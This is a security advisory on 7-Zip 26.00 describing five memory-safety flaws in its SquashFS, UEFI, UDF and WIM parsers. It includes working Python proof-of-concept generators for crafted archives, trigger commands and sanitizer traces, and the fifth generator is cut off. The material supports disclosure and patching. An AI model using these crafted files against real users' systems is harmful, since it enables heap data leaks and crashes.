Coordinated Disclosure Timeline

Summary

The 7-Zip project, version 26.00, contains various memory access violations, out-of-bounds (OOB) read issues, uninitialized memory vulnerabilities, integer overflow flaws in various archive formats (e.g., 7z, SquashFS, UDF, UEFI, WIM, and Ar), and path traversal in sample app, which could potentially lead to compromising system integrity or accessing sensitive data.

Project

7-Zip

Tested Version

v26.00

Details

Issue 1: SquashFS Fragment Offset Overflow (GHSL-2026-116)

Heap memory disclosure via SquashFS fragment offset integer overflow on 32-bit builds.

32-bit integer overflow in the SquashFS ReadBlock function allows an attacker-controlled node.Offset value to bypass the fragment bounds check, causing memcpy to read heap memory preceding the cache buffer into the extracted file. The vulnerability is exploitable only on 32-bit builds of 7-Zip where size_t is 32 bits, allowing the addition offsetInBlock + blockSize to wrap modulo 2³². On 64-bit builds the addition is promoted to 64 bits and the check correctly rejects the input.

CHandler::ReadBlock (CPP/7zip/Archive/SquashfsHandler.cpp, line 2134) reads a fragment with an attacker-controlled offsetInBlock:

// CPP/7zip/Archive/SquashfsHandler.cpp, lines 2153-2198

offsetInBlock = node.Offset;              // attacker-controlled UInt32, no validation
...
if (offsetInBlock + blockSize > _cachedUnpackBlockSize)   // line 2195
  return S_FALSE;
if (blockSize != 0)
  memcpy(dest, _cachedBlock + offsetInBlock, blockSize);  // line 2198

node.Offset is read directly from the on-disk inode as a full UInt32 with no upper-bound validation:

// CPP/7zip/Archive/SquashfsHandler.cpp, line 708 (Parse4, regular file)
LE_32 (24, Offset);

Nothing in Open2 validates that node.Offset < _h.BlockSize.

32-bit overflow

offsetInBlock is UInt32. blockSize is size_t. _cachedUnpackBlockSize is UInt32.

On 32-bit builds (size_t is 32-bit): offsetInBlock + blockSize is computed in 32-bit unsigned and wraps modulo 2³². With offsetInBlock = 0xFFFF8000 and blockSize = 0x8000:

On 64-bit builds (size_t is 64-bit): the addition promotes to 64 bits, no wrap occurs, and the check correctly rejects.

Impact

This issue may lead to information disclosure (heap memory preceding _cachedBlock written into extracted file) on 32-bit builds.

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N — 6.5 (Medium)

Scored for 32-bit builds where the disclosure is real.

Affected versions: The SquashFS fragment ReadBlock with offsetInBlock has been present since 7-Zip 9.18. All 32-bit builds from 9.18 through 26.00 are affected. 64-bit builds are not affected.

CWEs

Resources

PoC generator:

#!/usr/bin/env python3
"""Generate a SquashFS v4 image with a large fragment Offset for 32-bit overflow."""
import struct, sys

OFFSET = int(sys.argv[2], 0) if len(sys.argv) > 2 else 0xFFFFFFFC

# Minimal SquashFS v4 with one file referencing fragment 0
# Fragment is 64 bytes uncompressed; file inode has Offset=OFFSET
hdr  = b'hsqs'                              # magic
hdr += struct.pack('<I', 3)                  # inode count
hdr += struct.pack('<I', 0)                  # mtime
hdr += struct.pack('<I', 8192)               # block_size
hdr += struct.pack('<I', 1)                  # fragments
hdr += struct.pack('<H', 1)                  # compression (gzip)
hdr += struct.pack('<H', 13)                 # block_log
hdr += struct.pack('<H', 451)                # flags (no UNCOMPRESSED_FRAGMENTS)
hdr += struct.pack('<H', 1)                  # no_ids

# File inode: frag=0, offset=OFFSET, size=4
file_inode  = struct.pack('<HH', 2, 0x1b4)  # type=file, mode=0644
file_inode += struct.pack('<HH', 0, 0)       # uid, gid
file_inode += struct.pack('<I', 0x6704cd40)  # mtime
file_inode += struct.pack('<I', 3)            # inode_number
file_inode += struct.pack('<I', 0)            # block_start
file_inode += struct.pack('<I', 0)            # frag_index=0
file_inode += struct.pack('<I', OFFSET)       # block_offset=OFFSET (overflow trigger)
file_inode += struct.pack('<I', 4)            # file_size=4

# Two directory inodes (sub-dir + root)
def dir_inode(ino, parent):
    d  = struct.pack('<HH', 1, 0x1fd)
    d += struct.pack('<HH', 0, 0)
    d += struct.pack('<I', 0x6704cd42)
    d += struct.pack('<I', ino)
    d += struct.pack('<I', 0)                # block_index
    d += struct.pack('<I', 2)                # link_count
    d += struct.pack('<HH', 0, 0)            # size (placeholder), block_offset
    d += struct.pack('<I', parent)
    return bytearray(d)

dir1 = dir_inode(2, 4)
dir2 = dir_inode(4, 5)

# Directory entries
def dir_entry(offset, ino_off, ino_type, name):
    return struct.pack('<HHH', offset, ino_off, ino_type) + struct.pack('<H', len(name)-1) + name

lvl0 = struct.pack('<I', 0) + b'\x00\x00\x00\x00' + struct.pack('<I', 3)
lvl0 += dir_entry(0, 0, 2, b'c')
lvl1 = struct.pack('<I', 0) + b'\x00\x00\x00\x00' + struct.pack('<I', 1)
lvl1 += dir_entry(len(file_inode), 1, 1, b'bb')

struct.pack_into('<H', dir1, 24, len(lvl0) + 3)
struct.pack_into('<H', dir2, 24, len(lvl1) + 3)
struct.pack_into('<H', dir2, 26, len(lvl0))

root_inode = len(file_inode) + len(dir1)

inode_table = file_inode + bytes(dir1) + bytes(dir2)
inode_table = struct.pack('<H', len(inode_table) | (1<<15)) + inode_table
dir_table = lvl0 + lvl1
dir_table = struct.pack('<H', len(dir_table) | (1<<15)) + dir_table

frag_data = b'\xCC' * 64
frag_entry = struct.pack('<Q', 96) + struct.pack('<I', len(frag_data) | (1<<24)) + b'\x00'*4
frag_table = struct.pack('<H', len(frag_entry) | (1<<15)) + frag_entry

id_pre = struct.pack('<H', 4 | (1<<15)) + b'\xe8\x03\x00\x00'

it_start = 96 + len(frag_data)
dt_start = it_start + len(inode_table)
ft_start = dt_start + len(dir_table)
fi_start = ft_start + len(frag_table)
ip_start = fi_start + 8
id_start = ip_start + len(id_pre)

hdr += struct.pack('<HH', 4, 0)             # major, minor
hdr += struct.pack('<Q', root_inode)
hdr += struct.pack('<Q', id_start + 8)       # bytes_used
hdr += struct.pack('<Q', id_start)            # id_table
hdr += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)  # xattr (none)
hdr += struct.pack('<Q', it_start)
hdr += struct.pack('<Q', dt_start)
hdr += struct.pack('<Q', fi_start)
hdr += struct.pack('<Q', fi_start)            # lookup = frag index

out = hdr + frag_data + inode_table + dir_table + frag_table
out += struct.pack('<Q', ft_start) + id_pre + struct.pack('<Q', ip_start)
open(sys.argv[1], 'wb').write(out)
print(f'Written {len(out)}b, Offset=0x{OFFSET:X}')

Usage: python poc.py poc_sfs_32bit.sfs 0xFFFFFFFC

Triggering:

7zz x poc_sfs_32bit.sfs    # on 32-bit build

Verification

64-bit build (safe): Correctly rejects with Data Error : bb\c. The addition 0xFFFFFFFC + 4 = 0x100000000 does not wrap on 64-bit size_t and the bounds check catches it.

32-bit ASan build (7zz.exe (x86) built from 7-Zip 26.00 source with /fsanitize=address):

==20940==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x052028fc
  at pc 0x7107a47a bp 0x012fe3f0 sp 0x012fdfd4
READ of size 4 at 0x052028fc thread T0
    #0 _asan_wrap_memcpy
    #1 NArchive::NSquashfs::CHandler::ReadBlock  SquashfsHandler.cpp:2198
    #2 NArchive::NSquashfs::CSquashfsInStream::ReadBlock  SquashfsHandler.cpp:2131
    #3 NCompress::CCopyCoder::Code  CopyCoder.cpp:63
    #4 NArchive::NSquashfs::CHandler::Extract  SquashfsHandler.cpp:2278

0x052028fc is located 4 bytes before 8192-byte region [0x05202900,0x05204900)
allocated by thread T0 here:
    #0 operator new[]  asan_win_new_array_thunk.cpp:41
    #1 CBuffer<unsigned char>::Alloc  MyBuffer.h:69
    #2 NArchive::NSquashfs::CHandler::GetStream  SquashfsHandler.cpp:2338

SUMMARY: AddressSanitizer: heap-buffer-overflow
  SquashfsHandler.cpp:2198 in NArchive::NSquashfs::CHandler::ReadBlock

4 bytes before 8192-byte region confirms the 32-bit pointer wrap: _cachedBlock + 0xFFFFFFFC wraps to _cachedBlock - 4, and memcpy reads from before the allocation.

Issue 2: UEFI Capsule uninitialized heap memory disclosure (GHSL-2026-117)

Uninitialized heap memory disclosure in 7-Zip UEFI capsule handler via truncated archive.

An uninitialized memory disclosure vulnerability exists in the UEFI capsule (.scap) parser in 7-Zip. The OpenCapsule function allocates a heap buffer of attacker-declared CapsuleImageSize (up to 1 GiB) without zero-initialization, then reads the file contents into it with ReadStream_FALSE whose return value is silently discarded. If the file is truncated, the unread tail of the buffer retains uninitialized heap memory, which is then exposed as extracted file content via GetStream.

The function CHandler::OpenCapsule (CPP/7zip/Archive/UefiHandler.cpp, line 1571):

// CPP/7zip/Archive/UefiHandler.cpp, lines 1592-1595

const unsigned bufIndex = AddBuf(_h.CapsuleImageSize);
CByteBuffer &buf0 = _bufs[bufIndex];
memcpy(buf0, buf, kHeaderSize);                                              // 80 bytes
ReadStream_FALSE(stream, buf0 + kHeaderSize, _h.CapsuleImageSize - kHeaderSize); // ← NO RINOK!

Compare with the other ReadStream_FALSE calls in the same file (lines 1575, 1615, 1627), which all use RINOK(ReadStream_FALSE(...)). Line 1595 is the only call that discards the return value.

AddBuf calls CByteBuffer::Alloc which uses new Byte[size]no zero-initialization (MyBuffer.h:69).

When the file is truncated shorter than CapsuleImageSize, ReadStream_FALSE returns S_FALSE (short read), but execution continues. The unread bytes in buf0 retain whatever the heap allocator returned.

GetStream exposes uninitialized bytes:

// CPP/7zip/Archive/UefiHandler.cpp, lines 1831-1837

const CByteBuffer &buf = _bufs[item.BufIndex];
if (item.Offset > buf.Size())
  return S_FALSE;
size_t size = buf.Size() - item.Offset;
if (size > item.Size)
  size = item.Size;
streamSpec->Init(buf + item.Offset, size, (IInArchive *)this);

The extraction callback receives bytes directly from buf0, including the uninitialized region. These bytes are written to disk as the “extracted” file content.

ParseVolume reads the capsule body from the same uninitialized buffer. When the body prefix is not a valid FFS firmware volume, ParseVolume falls through to creating a single [VOL] item spanning the entire capsule body. This is the default fallback — no FFS header checksums or structural validation are needed. The PoC demonstrates this: 16 bytes of 0xAA (not valid FFS) causes ParseVolume to create one item covering the full 4016-byte body, including 4000 bytes of uninitialized heap.

Impact

This issue may lead to information disclosure (uninitialized heap memory written to extracted files).

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N — 6.5 (Medium)

Affected versions: The unchecked ReadStream_FALSE has been present since 7-Zip 9.21. All versions from 9.21 through 26.00 are affected.

CWEs

Resources

PoC generator

import struct

# CAPSULE_SIGNATURE GUID (type 0 = 80-byte header)
guid = bytes([0xBD,0x86,0x66,0x3B,0x76,0x0D,0x30,0x40,
              0xB7,0x0E,0xB5,0x51,0x9E,0x2F,0xC5,0xA0])

hdr = bytearray(80)
hdr[0:16] = guid
struct.pack_into("<I", hdr, 0x10, 80)     # HeaderSize
struct.pack_into("<I", hdr, 0x18, 0x1000) # CapsuleImageSize = 4096
struct.pack_into("<I", hdr, 0x30, 0)      # OffsetToSplitInformation = 0
struct.pack_into("<I", hdr, 0x34, 80)     # OffsetToCapsuleBody = 80

# Only 16 bytes of body, but CapsuleImageSize claims 4096
open("poc_uefi_trunc.scap", "wb").write(bytes(hdr) + b"\xAA" * 16)

Triggering:

7zz x poc_uefi_trunc.scap

Verification

ASan build (MSVC /fsanitize=address): The extracted file contains ASan’s malloc-fill byte 0xBE throughout the uninitialized region:

$ 7zz l poc_uefi_trunc.scap
Type = UEFIc
ERRORS: Unexpected end of archive
Physical Size = 4096
  .....  4016  BEBEBEBE[VOL]     ← item name from uninitialized GUID bytes

$ 7zz x poc_uefi_trunc.scap
  → Extracted: BEBEBEBE[VOL] (4016 bytes)
  → First 16 bytes: AA AA AA ... (valid body from input)
  → Remaining 4000 bytes: all 0xBE (ASan malloc-fill sentinel)

The 0xBE fill proves:

  1. AddBufnew Byte[4096] never zero-initializes the buffer
  2. ReadStream_FALSE short-reads 16 bytes and returns S_FALSE, which is silently discarded
  3. ParseVolume reads uninitialized bytes to construct the item (the GUID BEBEBEBE comes from uninitialized buffer)
  4. GetStream returns the entire 4016-byte body including 4000 bytes of uninitialized heap content

MSan build (clang -fsanitize=memory, Linux via Docker):

Uninitialized bytes in MemcmpInterceptorCommon at offset 16 inside [0x720000001050, 20)
==8==WARNING: MemorySanitizer: use-of-uninitialized-value
    #0 0x5555555f9c39  (/bin2/7zz+0xa5c39)
    #1 0x55555584386f  (/bin2/7zz+0x2ef86f)
    ...
SUMMARY: MemorySanitizer: use-of-uninitialized-value (/bin2/7zz+0xa5c39)

MSan confirms that uninitialized heap bytes from the truncated ReadStream_FALSE are used in memcmp during ParseVolume’s FFS signature check.

Issue 3: UDF Field OOB Read (GHSL-2026-118)

Up-to-3-byte heap OOB read in UDF File Identifier padding loop.

The UDF disc image parser’s CFileId::Parse function reads up to 3 bytes past the end of the heap-allocated directory buffer in the alignment-padding scan loop. The bounds check processed <= size is performed after the OOB reads, not before.

CFileId::Parse (CPP/7zip/Archive/Udf/UdfIn.cpp, line 479) parses File Identifier Descriptors from a heap buffer:

// CPP/7zip/Archive/Udf/UdfIn.cpp, lines 496-510

  if (size < 38 + idLen + impLen)
    return 0;
  processed = 38;
  processed += impLen;
  Id.Parse(p + processed, idLen);
  processed += idLen;                      // processed == 38 + impLen + idLen ≤ size
  for (;(processed & 3) != 0; processed++)
    if (p[processed] != 0)                 // ← OOB read when processed >= size
      return 0;
  if ((size_t)tag.CrcLen + 16 != processed)
    return 0;
  return (processed <= size) ? processed : 0;   // bounds check AFTER the reads

The check at line 496 ensures processed ≤ size at loop entry. The padding loop then reads p[processed] for up to 3 iterations (aligning to 4-byte boundary) before the post-loop processed <= size check. When (38 + impLen + idLen) % 4 != 0 and 38 + impLen + idLen == size, the loop reads 1–3 bytes past size.

The buffer p is allocated with buf.Alloc((size_t)item.Size) — an exact-size heap allocation.

Impact

This issue may lead to information disclosure (1-bit oracle per OOB byte via open/fail behavior).

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N — 3.1 (Low)

Affected versions: The UDF handler has been present since 7-Zip 9.11. All versions through 26.00 are affected.

CWEs

Resources

PoC generator:

#!/usr/bin/env python3
"""Generate a minimal UDF image triggering CFileId::Parse padding-loop OOB read."""
import struct, sys, os

SEC_SIZE = 2048
CRC16_POLY = 0x1021
_crc16_table = []
for i in range(256):
    r = i << 8
    for _ in range(8):
        r = ((r << 1) ^ (CRC16_POLY if (r & 0x8000) else 0)) & 0xFFFF
    _crc16_table.append(r)

def crc16(data):
    v = 0
    for b in data:
        v = (_crc16_table[((v >> 8) ^ b) & 0xFF] ^ (v << 8)) & 0xFFFF
    return v

def make_tag(tag_id, payload, tag_location):
    crc_len = len(payload)
    tag = bytearray(16)
    struct.pack_into('<H', tag, 0, tag_id)
    struct.pack_into('<H', tag, 2, 2)
    struct.pack_into('<H', tag, 8, crc16(payload))
    struct.pack_into('<H', tag, 10, crc_len)
    struct.pack_into('<I', tag, 12, tag_location)
    tag[4] = 0
    tag[4] = sum(tag) & 0xFF
    return bytes(tag) + payload

def pad_sec(data):
    r = len(data) % SEC_SIZE
    return data + b'\x00' * (SEC_SIZE - r) if r else data

# FID with 38+0+1 = 39 bytes (39 % 4 = 3 -> reads 1 byte past buffer)
fid_p = bytearray(23)
fid_p[3] = 1  # idLen
struct.pack_into('<I', fid_p, 4, SEC_SIZE)
struct.pack_into('<I', fid_p, 8, 2)
fid_p[22] = ord('A')
fid = make_tag(257, bytes(fid_p), 0)

PART_START = 257
img = bytearray((PART_START + 16) * SEC_SIZE)

# AVDP at sector 256
avdp_p = bytearray(496)
struct.pack_into('<I', avdp_p, 0, 4*SEC_SIZE)
struct.pack_into('<I', avdp_p, 4, 32)
struct.pack_into('<I', avdp_p, 8, 4*SEC_SIZE)
struct.pack_into('<I', avdp_p, 12, 32)
img[256*SEC_SIZE:257*SEC_SIZE] = pad_sec(make_tag(2, bytes(avdp_p), 256))

# PVD, PD, LVD, TD at sectors 32-35
pvd_p = bytearray(SEC_SIZE-16); struct.pack_into('<H', pvd_p, 40, 1); struct.pack_into('<H', pvd_p, 42, 1)
img[32*SEC_SIZE:33*SEC_SIZE] = pad_sec(make_tag(1, bytes(pvd_p), 32))

pd_p = bytearray(SEC_SIZE-16); struct.pack_into('<H', pd_p, 4, 1); pd_p[8:14] = b'+NSR02'
struct.pack_into('<I', pd_p, 168, 1); struct.pack_into('<I', pd_p, 172, PART_START); struct.pack_into('<I', pd_p, 176, 16)
img[33*SEC_SIZE:34*SEC_SIZE] = pad_sec(make_tag(5, bytes(pd_p), 33))

lvd_p = bytearray(SEC_SIZE-16); struct.pack_into('<I', lvd_p, 196, SEC_SIZE)
struct.pack_into('<I', lvd_p, 232, SEC_SIZE); struct.pack_into('<I', lvd_p, 248, 6); struct.pack_into('<I', lvd_p, 252, 1)
lvd_p[424] = 1; lvd_p[425] = 6; struct.pack_into('<H', lvd_p, 426, 1)
img[34*SEC_SIZE:35*SEC_SIZE] = pad_sec(make_tag(6, bytes(lvd_p), 34))
img[35*SEC_SIZE:36*SEC_SIZE] = pad_sec(make_tag(8, bytearray(SEC_SIZE-16), 35))

# FSD at partition block 0
fsd_p = bytearray(SEC_SIZE-16); struct.pack_into('<I', fsd_p, 384, SEC_SIZE); struct.pack_into('<I', fsd_p, 388, 1)
img[PART_START*SEC_SIZE:(PART_START+1)*SEC_SIZE] = pad_sec(make_tag(256, bytes(fsd_p), 0))

# Root dir FE at block 1 — inline data = 39-byte FID
fe_p = bytearray(SEC_SIZE-16); fe_p[11] = 4; struct.pack_into('<H', fe_p, 18, 3)
struct.pack_into('<H', fe_p, 32, 1); struct.pack_into('<Q', fe_p, 40, 39); struct.pack_into('<I', fe_p, 156, 39)
fe_p[160:199] = fid
img[(PART_START+1)*SEC_SIZE:(PART_START+2)*SEC_SIZE] = pad_sec(make_tag(261, bytes(fe_p), 1))

# Child file FE at block 2
dfe_p = bytearray(SEC_SIZE-16); dfe_p[11] = 5; struct.pack_into('<H', dfe_p, 18, 3); struct.pack_into('<H', dfe_p, 32, 1)
img[(PART_START+2)*SEC_SIZE:(PART_START+3)*SEC_SIZE] = pad_sec(make_tag(261, bytes(dfe_p), 2))

open(sys.argv[1] if len(sys.argv) > 1 else 'poc_udf_007t.iso', 'wb').write(bytes(img))

Triggering:

7zz l poc_udf_007t.iso

Verification

ASan-confirmed (MSVC /fsanitize=address, Windows x64):

==17540==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x115b835a1237
    at pc 0x7ff743846a4d bp 0x002b944fbf00 sp 0x002b944fbf08
READ of size 1 at 0x115b835a1237 thread T0
    #0 in NArchive::NUdf::CFileId::Parse UdfIn.cpp:505
    #1 in NArchive::NUdf::CInArchive::ReadItem UdfIn.cpp:692
    #2 in NArchive::NUdf::CInArchive::ReadFileItem UdfIn.cpp:545
    #3 in NArchive::NUdf::CInArchive::Open2 UdfIn.cpp:1251

0x115b835a1237 is located 0 bytes after 39-byte region [0x115b835a1210,0x115b835a1237)
allocated by thread T0 here:
    #0 in operator new[]
    #1 in CBuffer<unsigned char>::Alloc MyBuffer.h:69
    #2 in CBuffer<unsigned char>::operator= MyBuffer.h:119
    #3 in NArchive::NUdf::CInArchive::ReadFromFile UdfIn.cpp:369

The directory buffer is allocated at exactly 39 bytes (new Byte[39]). The padding loop at line 505 reads p[39] — 0 bytes after the end of the allocation — triggering ASan’s heap-buffer-overflow.

Issue 4: WIM SecurityId OOB read (GHSL-2026-119)

Off-by-one heap out-of-bounds read in 7-Zip WIM security descriptor handler.

An off-by-one heap out-of-bounds read exists in the WIM (Windows Imaging) archive handler in 7-Zip. The CHandler::GetSecurity function validates a securityId against SecurOffsets.Size() but then accesses SecurOffsets[securityId + 1], reading 4 bytes past the end of the heap allocation when securityId equals the maximum allowed value. The OOB is triggered on viewing (double-click or File -> Open) a crafted WIM in the 7-Zip File Manager GUI.

The WIM handler’s per-image security table is stored as a CRecordVector<UInt32> SecurOffsets with numEntries + 1 cumulative offsets. Valid record indices are 0 through numEntries - 1, where record i spans SecurOffsets[i] to SecurOffsets[i + 1].

CHandler::GetSecurity (CPP/7zip/Archive/Wim/WimHandler.cpp, line 649) validates the attacker-controlled securityId with an off-by-one:

// CPP/7zip/Archive/Wim/WimHandler.cpp, lines 649-671

HRESULT CHandler::GetSecurity(UInt32 realIndex, const void **data,
    UInt32 *dataSize, UInt32 *propType)
{
  const CItem &item = _db.Items[realIndex];
  if (item.IsAltStream || item.ImageIndex < 0)
    return S_OK;
  const CImage &image = _db.Images[item.ImageIndex];
  const Byte *metadata = image.Meta + item.Offset;
  UInt32 securityId = Get32(metadata + 0xC);              // attacker-controlled
  if (securityId == (UInt32)(Int32)-1)
    return S_OK;
  if (securityId >= (UInt32)image.SecurOffsets.Size())     // ← WRONG: allows numEntries
    return E_FAIL;
  UInt32 offs = image.SecurOffsets[securityId];            // OK for securityId < Size()
  UInt32 len  = image.SecurOffsets[securityId + 1] - offs; // ← OOB when securityId == Size()-1
  // ...
}

SecurOffsets.Size() is numEntries + 1. The check securityId >= Size() admits securityId == numEntries. Then line 662 reads SecurOffsets[numEntries + 1]one UInt32 (4 bytes) past the end of the heap-allocated CRecordVector storage.

The SecurOffsets population

// CPP/7zip/Archive/Wim/WimIn.cpp, lines 826-836


image.SecurOffsets.ClearAndReserve(numEntries + 1);
image.SecurOffsets.AddInReserved(sum);           // entry 0
for (UInt32 i = 0; i < numEntries; i++) {
    // ...
    image.SecurOffsets.AddInReserved(sum);       // entries 1..numEntries
}
// Total: numEntries + 1 entries. Size() == numEntries + 1.

CRecordVector uses new T[capacity] (MyVector.h:105) with no bounds checking on operator[] (MyVector.h:267).

Impact

This issue may lead to limited information disclosure (OOB bytes used arithmetically but not surfaced to attacker).

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)

Affected versions: The WIM security descriptor support (GetSecurity with SecurOffsets) was introduced in 7-Zip 9.34. The off-by-one has been present since introduction. All versions from 9.34 through 26.00 are affected.

CWEs

Resources

PoC generator

Requires Windows (uses DISM to create a valid WIM) and an elevated (admin) prompt:

#!/usr/bin/env python3
"""Generate a crafted WIM that triggers SecurityId off-by-one OOB read.
Must be run as Administrator (DISM requires elevation)."""
import os, subprocess, shutil, struct, hashlib, sys, tempfile

# Step 1: Create a temp directory with two files
src = os.path.join(tempfile.gettempdir(), "wim_poc_src")
os.makedirs(src, exist_ok=True)
for name in ("a.txt", "b.txt"):
    with open(os.path.join(src, name), "w") as f:
        f.write(name)

# Step 2: Capture as uncompressed WIM via DISM
base_wim = os.path.join(tempfile.gettempdir(), "test.wim")
if os.path.exists(base_wim):
    os.remove(base_wim)
r = subprocess.run([
    "dism", "/Capture-Image",
    f"/ImageFile:{base_wim}",
    f"/CaptureDir:{src}",
    "/Name:test", "/Compress:none"
], capture_output=True, text=True)
if r.returncode != 0:
    print(r.stdout + r.stderr)
    sys.exit(f"DISM failed (exit {r.returncode}). Run as Administrator.")

# Step 3: Clean up temp source
shutil.rmtree(src, ignore_errors=True)

# Step 4: Patch SecurityId to trigger OOB
data = bytearray(open(base_wim, "rb").read())
os.remove(base_wim)

# Determine version and resource offsets
version = struct.unpack_from('<I', data, 0xC)[0]
is_new = (version >> 16) > 1 or ((version >> 16) == 1 and (version & 0xFFFF) >= 13)
res_offset = 0x30 if is_new else 0x2C

# Find offset table
ot_off = struct.unpack_from('<Q', data, res_offset + 8)[0]
ot_us = struct.unpack_from('<Q', data, res_offset + 16)[0]
entry_size = 50

# Find the metadata entry (flag 0x02) in the offset table
for i in range(ot_us // entry_size):
    base = ot_off + i * entry_size
    if data[base + 7] & 0x02:  # METADATA flag
        meta_off = struct.unpack_from('<Q', data, base + 8)[0]
        meta_size = struct.unpack_from('<Q', data, base + 16)[0]
        hash_abs = base + 30
        break
else:
    sys.exit("No metadata resource found")

# Parse security table from metadata
total_len = struct.unpack_from('<I', data, meta_off)[0]
num_entries = struct.unpack_from('<I', data, meta_off + 4)[0]
if num_entries == 0:
    sys.exit("No security entries")

# Reduce to 1 security entry so SecurOffsets has 2 elements (8 bytes).
# ASan can detect the 4-byte OOB on an 8-byte allocation.
entry0_size = struct.unpack_from('<Q', data, meta_off + 8)[0]
orig_data_start = meta_off + 8 + num_entries * 8
new_total = (8 + 8 + entry0_size + 7) & ~7

# Rebuild security block in-place
struct.pack_into('<I', data, meta_off, new_total)      # totalLen
struct.pack_into('<I', data, meta_off + 4, 1)          # numEntries = 1
# entry[0] size stays at meta_off+8
# Move security data (entry[0]) right after the single size field
src = orig_data_start
dst = meta_off + 16
if src != dst:
    data[dst:dst + entry0_size] = data[src:src + entry0_size]

# Move dir entries
orig_dir_start = meta_off + ((total_len + 7) & ~7)
new_dir_start = meta_off + new_total
dir_data = data[orig_dir_start:meta_off + meta_size]
data[new_dir_start:new_dir_start + len(dir_data)] = dir_data
# Zero-fill gap
for j in range(new_dir_start + len(dir_data), meta_off + meta_size):
    data[j] = 0

# Patch SecurityId in first direntry to 1 (= numEntries, triggers OOB)
secid_abs = new_dir_start + 0xC
struct.pack_into('<I', data, secid_abs, 1)

# Recompute SHA1 of patched metadata and update hash in offset table
new_hash = hashlib.sha1(bytes(data[meta_off:meta_off + meta_size])).digest()
data[hash_abs:hash_abs + 20] = new_hash

out = "poc_wim_oob.wim"
with open(out, "wb") as f:
    f.write(data)
print(f"Written {len(data)} bytes to {out}")

Triggering:

CLI:

7zz l -slt poc_wim_oob.wim

GUI (zero-click crash under ASan):

7zFM.exe poc_wim_oob.wim

The GUI crashes immediately on open — GetRawProp(kpidNtSecure) is called for every listed item before the window is displayed. No user interaction beyond opening the file.

Verification

ASan-confirmed. The PoC triggers heap-buffer-overflow on 7-Zip 26.00 (x64) built with MSVC /fsanitize=address:

==470452==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x12ecf2cb3fb8
READ of size 4 at 0x12ecf2cb3fb8 thread T0
    #0 NArchive::NWim::CHandler::GetSecurity
        WimHandler.cpp:662
    #1 NArchive::NWim::CHandler::GetRawProp
        WimHandler.cpp:791
    #2 CFieldPrinter::PrintItemInfo
        List.cpp:599
    #3 ListArchives
        List.cpp:1363
    #4 Main2
        Main.cpp:1504
    #5 main
        MainAr.cpp:132


allocated by thread T0 here:
    #0 operator new[]
        asan_win_new_array_thunk.cpp:41
    #1 CRecordVector<unsigned int>::ClearAndReserve
        MyVector.h:105
    #2 NArchive::NWim::CDatabase::ParseImageDirs
        WimIn.cpp:826


SUMMARY: AddressSanitizer: heap-buffer-overflow
  WimHandler.cpp:662 in NArchive::NWim::CHandler::GetSecurity

Issue 5: SquashFS BlockToNode uninitialized heap read (GHSL-2026-120)

Uninitialized heap read via sparse _blockToNode index in SquashFS handler.

The SquashFS handler’s OpenDir function indexes the _blockToNode array using attacker-controlled blockIndex values. The array is allocated with ClearAndReserve(GetNumBlocks() + 1) but only partially populated during inode parsing — when few inodes span many metadata blocks, most slots remain uninitialized. Reading these uninitialized UInt32 values provides attacker-influenced bounds to FindInSorted, which then performs an unbounded heap read via _nodesPos[mid]. If the OOB-read value coincidentally matches unpackPos, the returned nodeIndex chains into a wild-pointer read of _nodes[nodeIndex] — though this amplification is heap-layout-dependent and not reliably triggerable.

Sparse _blockToNode population

Open2 builds _blockToNode (CPP/7zip/Archive/SquashfsHandler.cpp, line 1673):

// SquashfsHandler.cpp, lines 1673-1699

_blockToNode.ClearAndReserve(_inodesData.GetNumBlocks() + 1);
unsigned curBlock = 0;
for (UInt32 i = 0; i < _h.NumInodes; i++)
{
    // ... parse inode ...
    while (pos >= _inodesData.UnpackPos[curBlock])
    {
        _blockToNode.Add(_nodesPos.Size());     // only fires at block boundaries
        curBlock++;
    }
    _nodesPos.AddInReserved(pos);
    _nodes.AddInReserved(n);
    pos += size;
}
_blockToNode.Add(_nodesPos.Size());

ClearAndReserve allocates GetNumBlocks() + 1 slots via new UInt32[capacity] (MyVector.h:95-108) — no zero-initialization for POD types. The while loop only adds entries when inodes cross block boundaries. With NumInodes = 1 and a large inode, _blockToNode.Size() can be as small as 2, while capacity is GetNumBlocks() + 1 (potentially hundreds). Elements [2..capacity-1] are uninitialized heap.

Sink: OpenDir reads uninitialized bounds

OpenDir at line 1414:

// SquashfsHandler.cpp, line 1414

nodeIndex = _nodesPos.FindInSorted(unpackPos,
    _blockToNode[blockIndex],           // ← uninitialized when blockIndex >= Size()
    _blockToNode[blockIndex + 1]);      // ← uninitialized

blockIndex comes from _inodesData.PackPos.FindInSorted(startBlock) where startBlock is derived from the attacker-controlled RootInode superblock field. The attacker picks any blockIndex ≥ 2 (within GetNumBlocks()), reading uninitialized heap as the left/right bounds for FindInSorted.

Amplification via _nodes[nodeIndex] (heap-layout-dependent)

FindInSorted performs mid = (left + right) / 2 and dereferences _nodesPos[mid] with no bounds check. If the OOB-read value at _nodesPos[mid] coincidentally equals unpackPos, nodeIndex = mid is returned and indexes into _nodes:

const CNode &n = _nodes[nodeIndex];    // wild-index read if nodeIndex >= Size()
if (!n.IsDir()) return S_OK;

This would read a full CNode struct from arbitrary heap, with the resulting StartBlock/Offset feeding further directory parsing — a chained OOB read primitive. In practice, the PoC produces left=2, right=3, mid=2, but _nodesPos[2] (OOB) does not match unpackPos, so FindInSorted returns -1 and OpenDir returns S_FALSE. The amplification requires specific heap contents and is not reliably triggerable from the current PoC.

Impact

This issue may lead to information disclosure (heap content leakage via chained OOB reads) and denial of service (crash from wild-pointer dereference). The SquashFS handler is enabled in stock 7z.dll and triggers during Open() before any user interaction beyond opening the file.

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L — 4.2 (Medium)

AC:H because exploiting the uninitialized values for controlled reads requires heap layout manipulation.

Affected versions: The _blockToNode optimization has been present since 7-Zip 9.18. All versions through 26.00 are affected.

CWEs

Resources

PoC generator:

#!/usr/bin/env python3
"""Generate a SquashFS v4 image triggering uninitialized _blockToNode read."""
import struct, sys

